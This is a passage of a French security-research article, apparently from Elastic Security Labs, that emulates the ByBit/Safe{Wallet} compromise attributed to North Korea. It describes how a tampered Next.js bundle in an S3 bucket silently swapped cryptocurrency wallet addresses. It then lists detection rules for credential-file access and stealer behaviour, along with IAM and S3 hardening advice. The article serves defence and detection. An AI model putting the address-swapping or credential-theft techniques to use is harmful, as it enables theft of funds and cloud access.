Après avoir découvert le seau, l'attaquant a probablement utilisé la commande aws s3 sync pour télécharger l'intégralité du contenu, qui comprenait les actifs JavaScript frontaux intégrés. Entre février 5 et février 19, 2025, ils semblent s'être concentrés sur la modification de ces actifs - en particulier, des fichiers tels que main.<HASH>.js et les itinéraires connexes, qui sont produits par Next.js au cours de son processus de construction et stockés dans le répertoire _next/static/chunks/pages/. Ces fichiers groupés contiennent la logique de l'application transposée et, selon le rapport d'expertise de Sygnia, un fichier nommé _app-52c9031bfa03da47.js était le principal point d'injection du code malveillant.

Les applications Next.js, lorsqu'elles sont construites, stockent généralement leurs actifs générés de manière statique dans le répertoire next/static/, avec des morceaux de JavaScript organisés dans des dossiers tels que /chunks/pages/. Dans ce cas, l'adversaire a probablement formaté et désobfusqué le paquet JavaScript pour en comprendre la structure, puis a procédé à une rétro-ingénierie de la logique de l'application. Après avoir identifié le code responsable du traitement des adresses de portefeuilles saisies par les utilisateurs, ils ont injecté leur charge utile. Cette charge utile introduisait une logique conditionnelle : si l'adresse du portefeuille saisie correspondait à l'une des adresses cibles connues, elle remplaçait silencieusement la destination par une adresse contrôlée par la RPDC, redirigeant les fonds sans que l'utilisateur s'en aperçoive.

Dans notre émulation, nous avons reproduit ce comportement en modifiant le composant TransactionForm.js pour vérifier si l'adresse du destinataire saisie correspondait à des valeurs spécifiques. Si c'est le cas, l'adresse a été remplacée par un portefeuille contrôlé par l'attaquant. Bien que cela ne reflète pas la complexité de la manipulation réelle des contrats intelligents ou des appels de délégués utilisés dans l'attaque réelle, cela sert de comportement conceptuel pour illustrer comment un frontend compromis pourrait rediriger silencieusement les transactions en crypto-monnaie.

Implications de l'altération des sites statiques et contrôles de sécurité manquants

Ce type d'altération du frontend est particulièrement dangereux dans les environnements Web3, où les applications décentralisées (dApps) s'appuient souvent sur une logique statique côté client pour traiter les transactions. En modifiant le bundle JavaScript servi à partir du seau S3, l'attaquant a pu modifier le comportement de l'application sans avoir besoin d'enfreindre les API de backend ou la logique du contrat intelligent.

Nous supposons que les protections telles que le verrouillage des objets S3, la politique de sécurité du contenu (CSP) ou les en-têtes d'intégrité des sous-ressources (SRI) n'étaient pas utilisées ou pas appliquées au moment de la compromission. L'absence de ces contrôles aurait permis à un pirate de modifier le code statique du front-end sans déclencher la validation de l'intégrité du navigateur ou du back-end, ce qui aurait facilité considérablement l'exécution d'une telle manipulation sans être détectée.

Leçons de défense

Une émulation réussie - ou une réponse à un incident réel - ne se limite pas à l'identification des comportements des attaquants. Elle se poursuit par le renforcement des défenses afin d'éviter que des techniques similaires ne réussissent à nouveau. Nous décrivons ci-dessous les principales détections, les contrôles de sécurité, les stratégies d'atténuation et les fonctionnalités Elastic qui peuvent contribuer à réduire les risques et à limiter l'exposition aux tactiques utilisées dans cette émulation et dans les campagnes in-the-wild (ItW) telles que la compromission Safe{Wallet}.

Note : Ces détections sont activement maintenues et régulièrement mises au point, et peuvent évoluer au fil du temps. En fonction de votre environnement, des réglages supplémentaires peuvent être nécessaires pour minimiser les faux positifs et réduire le bruit.

Règles de détection SIEM et de prévention des points finaux d'Elastic

Une fois que nous avons compris le comportement des adversaires grâce à l'émulation et que nous avons mis en place des contrôles de sécurité pour renforcer l'environnement, il est tout aussi important d'explorer les possibilités et les capacités de détection afin d'identifier ces menaces et d'y répondre en temps réel.

Une fois que nous avons compris le comportement des adversaires grâce à l'émulation et que nous avons mis en place des contrôles de sécurité pour renforcer l'environnement, il est tout aussi important d'explorer les possibilités et les capacités de détection afin d'identifier ces menaces et d'y répondre en temps réel.

Règles de prévention des comportements des points finaux de MacOS

Charge utile de désérialisation Python PyYAML

Nom de la règle : "Python Script Drop and Execute" : Détecte la création ou la modification d'un script Python suivie immédiatement de l'exécution de ce script par le même processus Python.

Script de chargement Python

Nom de la règle : "Self-Deleting Python Script" : Détecte l'exécution d'un script Python et la suppression immédiate du fichier script par le même processus Python.

Nom de la règle : "Connexion sortante de script Python auto-supprimé" : Détecte lorsqu'un script Python est supprimé et qu'une connexion réseau sortante est établie peu après par le même processus Python.

Script de chargement Python Ret == 1

Nom de la règle : "Création suspecte de fichiers exécutables via Python" : Détecte la création ou la modification d'un fichier exécutable par Python dans des répertoires suspects ou inhabituels.

Nom de la règle : "Chargement et suppression de la bibliothèque Python" : Détecte lorsqu'une bibliothèque partagée, située dans le répertoire personnel de l'utilisateur, est chargée par Python, puis supprimée peu après par le même processus Python.

Nom de la règle : "Chargement inhabituel de bibliothèque par Python" : Détecte le chargement par Python d'une bibliothèque partagée qui ne se présente pas comme une .dylib. ou .so et se trouve dans le répertoire personnel de l'utilisateur.

Nom de la règle : "Exécution JXA en mémoire via ScriptingAdditions" : Détecte le chargement et l'exécution en mémoire d'un script JXA.

Script de chargement Python Ret == 2

Nom de la règle : "Potentiel voleur de Python" : Détecte l'exécution d'un script Python suivie peu après d'au moins trois tentatives d'accès à des fichiers sensibles par le même processus Python.

Nom de la règle : "Script Python auto-effacé accédant à des fichiers sensibles" : Détecte lorsqu'un script Python est supprimé et que des fichiers sensibles sont accédés peu après par le même processus Python.

Script de chargement Python Ret == 3

Nom de la règle : "Exécution d'un binaire non signé ou non fiable via Python" : Détecte l'exécution par Python d'un binaire non signé ou non fiable lorsque l'exécutable se trouve dans un répertoire suspect.

Nom de la règle : "Fork Binary Unsigned or Untrusted via Python" : Détecte si un binaire non signé ou non fiable est exécuté par Python lorsque l'argument du processus est le chemin d'accès à un fichier dans le répertoire personnel de l'utilisateur.

Nom de la règle : " Cloud Credential Files Accessed by Process in Suspicious Directory"( Fichiers d'informations d'identification dans le nuage accédés par un processus dans un répertoire suspect) : Détecte l'accès aux informations d'identification dans le nuage par un processus exécuté à partir d'un répertoire suspect.

Détections SIEM pour les logs AWS CloudTrail

Nom de la règle : "STS Temporary IAM Session Token Used from Multiple Addresses" : Détecte les jetons de session AWS IAM (par ex. ASIA*) utilisées à partir de plusieurs adresses IP sources dans un court laps de temps, ce qui peut indiquer un vol et une réutilisation d'informations d'identification à partir de l'infrastructure d'un adversaire.

Nom de la règle : "IAM Attempt to Register Virtual MFA Device with Temporary Credentials" ( Tentative d'enregistrement d'un dispositif virtuel de MFA avec des informations d'identification temporaires): Détecte les tentatives d'appel de CreateVirtualMFADevice ou EnableMFADevice avec des jetons de session AWS. Cela peut refléter une tentative d'établir un accès permanent à l'aide d'informations d'identification à court terme détournées.

Nom de la règle : "API Calls to IAM via Temporary Session Tokens" : Détecte l'utilisation d'opérations API iam.amazonaws.com sensibles par un principal utilisant des informations d'identification temporaires (par ex. avec le préfixe ASIA*). Ces opérations requièrent généralement une autorisation de transfert de fichiers (MFA) ou ne doivent être effectuées que via la console AWS ou les utilisateurs fédérés. Pas de jetons de CLI ou d'automatisation.

Nom de la règle : "S3 Static Site JavaScript File Uploaded via PutObject" : Identifie les tentatives des utilisateurs IAM de télécharger ou de modifier des fichiers JavaScript dans le répertoire static/js/ d'un seau S3, ce qui peut signaler une altération du frontend (par ex. l'injection de code malveillant)

Nom de la règle : "AWS CLI avec empreinte digitale Kali Linux identifiée" : Détecte les appels API AWS effectués à partir d'un système utilisant Kali Linux, comme indiqué par la chaîne user_agent.original. Cela peut refléter l'infrastructure d'un attaquant ou un accès non autorisé à partir de l'outil de l'équipe rouge.

Nom de la règle : "S3 Excessive or Suspicious GetObject Events"( Événements GetObject S3 excessifs ou suspects) : Détecte un volume élevé d'actions S3 GetObject par le même utilisateur IAM ou la même session dans un court laps de temps. Cela peut indiquer une exfiltration de données S3 à l'aide d'outils tels que la synchronisation des commandes AWS CLI - en particulier en ciblant les fichiers de sites statiques ou les bundles frontaux. Notez qu'il s'agit d'une requête de chasse et qu'il convient de l'adapter en conséquence.

Détections SIEM pour les abus Docker

Nom de la règle : "Accès aux fichiers sensibles via Docker" : Détecte lorsque Docker accède à des fichiers hôtes sensibles ("ssh", "aws", "gcloud", "azure", "web browser", "crypto wallet files").

Nom de la règle : "Suspicious Executable File Modification via Docker" : Détecte si Docker crée ou modifie un fichier exécutable dans un répertoire suspect ou inhabituel.

Si votre stratégie d'agent macOS inclut l'intégration des données Docker, vous pouvez collecter des données télémétriques précieuses qui permettent de détecter les activités de conteneurs malveillants sur les systèmes des utilisateurs. Dans notre émulation, cette intégration nous a permis d'ingérer les logs Docker (dans l'index des métriques), que nous avons ensuite utilisés pour construire une règle de détection capable d'identifier les indicateurs de compromission et les exécutions suspectes de conteneurs associés à l'application malveillante.

Atténuations

Ingénierie sociale

L'ingénierie sociale joue un rôle majeur dans de nombreuses intrusions, en particulier avec la RPDC. Ils sont très habiles pour cibler et approcher leurs victimes en utilisant des plateformes publiques de confiance comme LinkedIn, Telegram, X ou Discord pour établir le contact et paraître légitimes. Nombre de leurs campagnes d'ingénierie sociale tentent de convaincre l'utilisateur de télécharger et d'exécuter un projet, une application ou un script, que ce soit par nécessité (demande d'emploi), par détresse (aide au débogage), etc. L'atténuation du ciblage par ingénierie sociale est difficile et nécessite un effort concerté de la part de l'entreprise pour s'assurer que ses employés sont régulièrement formés à reconnaître ces tentatives, en faisant preuve du scepticisme et de la prudence nécessaires lorsqu'ils s'adressent à des entités extérieures et même à des communautés de logiciels libres.

  • Formation à la sensibilisation des utilisateurs
  • Examen statique manuel du code
  • Analyse statique du code et des dépendances

Bandit(GitHub - PyCQA/bandit : Bandit est un outil conçu pour détecter les problèmes de sécurité courants dans le code Python.) est un excellent exemple d'outil open source qu'un développeur pourrait utiliser pour analyser l'application Python et ses scripts avant leur exécution afin de mettre en évidence les vulnérabilités de sécurité Python courantes ou les problèmes dangereux qui peuvent être présents dans le code.

Gestion des applications et des appareils

Contrôle des applications via une solution de gestion des périphériques ou un cadre d'autorisation binaire comme l'outil open source Santa(GitHub - northpolesec/santa : Un système d'autorisation d'accès binaire et de fichier pour macOS). aurait pu être utilisé pour renforcer la notarisation et bloquer l'exécution à partir de chemins suspects. Cela aurait empêché l'exécution de la charge utile Poséidon déposée sur le système pour y être conservée, et aurait pu empêcher l'accès à des fichiers sensibles.

EDR/XDR

Pour se défendre efficacement contre les menaces émanant d'États-nations et les nombreuses autres attaques ciblant macOS, il est essentiel de disposer d'une solution EDR offrant de riches capacités de télémétrie et de corrélation afin de détecter et de prévenir les attaques basées sur des scripts. Pour aller plus loin, une plateforme EDR comme Elastic vous permet d'ingérer les logs AWS en même temps que les données des terminaux, ce qui permet d'unifier les alertes et la visibilité au travers d'un seul et même panneau de verre. Associée à une corrélation alimentée par l'IA, cette approche peut mettre en évidence des récits d'attaques cohérents, ce qui accélère considérablement la réponse et améliore votre capacité à agir rapidement si une telle attaque se produit.

Exposition des informations d'identification AWS et renforcement des jetons de session

Dans cette attaque, l'adversaire a utilisé un jeton de session d'utilisateur AWS volé (avec le préfixe ASIA*), qui avait été émis via l'API GetSessionToken en utilisant MFA. Ces informations d'identification ont probablement été récupérées dans l'environnement de développement macOS, soit à partir de variables d'environnement exportées, soit à partir de chemins de configuration AWS par défaut (par exemple, ~/.aws/credentials).

Pour limiter ce type d'accès, les organisations peuvent mettre en œuvre les stratégies défensives suivantes :

  1. Réduisez la durée de vie des jetons de session et éloignez-vous des utilisateurs IAM: Évitez de délivrer des jetons de session de longue durée aux utilisateurs IAM. Au lieu de cela, imposez des durées de validité des jetons courtes (par exemple, 1 heure ou moins) et adoptez AWS SSO (IAM Identity Center) pour tous les utilisateurs humains. Les jetons de session sont ainsi éphémères, vérifiables et liés à la fédération d'identité. Désactiver complètement les autorisations sts:GetSessionToken pour les utilisateurs IAM est l'approche la plus efficace, et le centre d'identité IAM permet cette transition.
  2. Appliquer les restrictions de contexte de session pour l'utilisation de l'API IAM: Mettez en œuvre des blocs de conditions de politique IAM qui refusent explicitement les opérations IAM sensibles, telles que iam:CreateVirtualMFADevice ou iam:AttachUserPolicy, si la demande est effectuée à l'aide d'informations d'identification temporaires. Cela garantit que les clés basées sur une session, telles que celles utilisées dans l'attaque, ne peuvent pas escalader les privilèges ou modifier les constructions d'identité.
  3. Limitez l'enregistrement MFA aux chemins de confiance: Bloquez la création de dispositifs MFA(CreateVirtualMFADevice, EnableMFADevice) via des jetons de session, à moins qu'ils ne proviennent de réseaux, de dispositifs ou de rôles IAM de confiance. Utilisez aws:SessionToken ou aws:ViaAWSService comme clés de contexte de politique pour appliquer cette règle. Cela aurait empêché l'adversaire de tenter une persistance basée sur l'AMF en utilisant la session détournée.

Durcissement de la couche applicative S3 (altération du front-end)

Après avoir obtenu le jeton de session AWS, l'adversaire n'a pas effectué d'énumération IAM - au lieu de cela, il est passé rapidement aux opérations S3. À l'aide du CLI AWS et d'identifiants temporaires, ils ont répertorié les buckets S3 et modifié le JavaScript statique du frontend hébergé sur un bucket S3 public. Cela leur a permis de remplacer le paquet Next.js de production par une variante malveillante conçue pour rediriger les transactions sur la base d'adresses de portefeuilles spécifiques.

Pour éviter ce type d'altération du frontend, mettez en œuvre les stratégies de renforcement suivantes :

  1. Renforcez l'immuabilité avec le verrouillage des objets S3: Activez le verrouillage d'objet S3 en mode conformité ou gouvernance sur les buckets hébergeant du contenu frontal statique. Cela empêche l'écrasement ou la suppression de fichiers pendant une période de conservation définie, même par des utilisateurs compromis. Object Lock ajoute une forte garantie d'immutabilité et est idéal pour les couches d'applications publiques. L'accès à l'ajout de nouveaux objets (plutôt qu'à l'écrasement) peut toujours être autorisé via les rôles de déploiement.
  2. Mettre en œuvre l'intégrité du contenu avec l'intégrité des sous-ressources (SRI): inclure des hachages SRI (par exemple, SHA-256) dans les balises <script> dans index.html pour s'assurer que le frontend n'exécute que des bundles JavaScript connus et validés. Dans cette attaque, l'absence de contrôles d'intégrité a permis à un JavaScript arbitraire d'être servi et exécuté à partir du seau S3. SRI aurait bloqué ce comportement au niveau du navigateur.
  3. Restreignez l'accès aux téléchargements en utilisant les limites du déploiement CI/CD: Les développeurs ne devraient jamais avoir un accès direct en écriture aux buckets S3 de production. Utilisez des comptes AWS ou des rôles IAM distincts pour le développement et le déploiement CI/CD. Seules les actions GitHub authentifiées par l'OIDC ou les pipelines CI de confiance devraient être autorisés à télécharger des bundles frontaux dans les buckets de production. Cela permet de s'assurer que les références humaines, même si elles sont compromises, ne peuvent pas empoisonner la production.
  4. Verrouillez l'accès via des URL signées par CloudFront ou utilisez le versionnage S3: Si le frontend est distribué via CloudFront, restreignez l'accès à S3 en utilisant des URL signées et supprimez l'accès public à l'origine S3. Cela ajoute un proxy et une couche de contrôle. Vous pouvez également activer le versionnement S3 et surveiller les événements d'écrasement sur les ressources critiques (par exemple, /static/js/*.js). Cela permet de détecter les tentatives d'altération par des adversaires qui essaient de remplacer les fichiers frontaux.

Découverte de l'attaque (AD)

Après avoir terminé l'émulation de l'attaque de bout en bout, nous avons testé la nouvelle fonction AI Attack Discovery d'Elastic pour voir si elle pouvait faire le lien entre les différentes étapes de l'intrusion. Attack Discovery s'intègre à un LLM de votre choix pour analyser les alertes de votre pile et générer des récits d'attaque cohérents. Ces récits aident les analystes à comprendre rapidement ce qui s'est passé, à réduire le temps de réponse et à obtenir un contexte de haut niveau. Lors de notre test, il a réussi à établir une corrélation entre la compromission du point d'accès et l'intrusion dans AWS, fournissant ainsi un récit unifié qu'un analyste peut utiliser pour prendre des mesures en connaissance de cause.

Osquery

Lorsque vous exécutez Elastic Defend via Elastic Agent, vous pouvez également déployer l'intégration OSQuery Manager pour gérer Osquery de manière centralisée sur tous les agents de votre flotte. Cela vous permet d'interroger les données de l'hôte à l'aide de SQL distribué. Lors de notre test de l'application malveillante Dockerisée, nous avons utilisé OSQuery pour inspecter le point final et avons identifié avec succès le conteneur fonctionnant avec des autorisations privilégiées.

SELECT name, image, readonly_rootfs, privileged FROM docker_containers

Nous avons programmé cette requête pour qu'elle s'exécute de manière récurrente, en renvoyant les résultats à notre pile élastique. À partir de là, nous avons élaboré une règle de détection basée sur un seuil qui alerte dès qu'un nouveau conteneur privilégié apparaît sur le système d'un utilisateur et qu'il n'a pas été observé au cours des sept derniers jours.

Conclusion

L'attaque ByBit a été l'une des intrusions les plus importantes attribuées à des acteurs de la menace de la RPDC et, grâce à des rapports détaillés et à des artefacts disponibles, elle a également fourni une rare occasion aux défenseurs de reproduire la chaîne d'attaque complète de bout en bout. En recréant la compromission du poste de travail macOS d'un développeur SAFE - y compris l'accès initial, l'exécution de la charge utile et le pivotement AWS - nous avons validé nos capacités de détection par rapport à l'activité réelle d'un État-nation.

Cette émulation a non seulement mis en lumière des aspects techniques - comme la manière dont la désérialisation PyYAML peut être utilisée de manière abusive pour obtenir un accès initial - mais elle a également renforcé les leçons essentielles en matière de défense opérationnelle : la valeur de la sensibilisation des utilisateurs, la couverture EDR basée sur le comportement, les flux de travail sécurisés des développeurs, les politiques IAM efficaces dans le nuage, la journalisation dans le nuage et la détection/réponse holistique entre les plates-formes.

Les adversaires innovent constamment, mais les défenseurs aussi, et ce type de recherche contribue à faire pencher la balance. Nous vous encourageons à suivre @elasticseclabs et à consulter nos recherches sur les menaces sur elastic.co/security-labs pour garder une longueur d'avance sur l'évolution des techniques adverses.

Ressources :

  1. Bybit - Ce que nous savons jusqu'à présent
  2. Safe.eth on X : "Mise à jour de l'enquête et appel à l'action de la communauté"
  3. Cryptocurrency APT Intelligence : Révéler les techniques d'intrusion du groupe Lazarus
  4. Slow Pisces cible les développeurs avec des défis de codage et présente un nouveau logiciel malveillant Python personnalisé
  5. Code de conduite : les intrusions de la RPDC dans les réseaux sécurisés alimentées par Python
  6. Un élastique attrape la RPDC en train de passer KANDYKORN

Partager cet article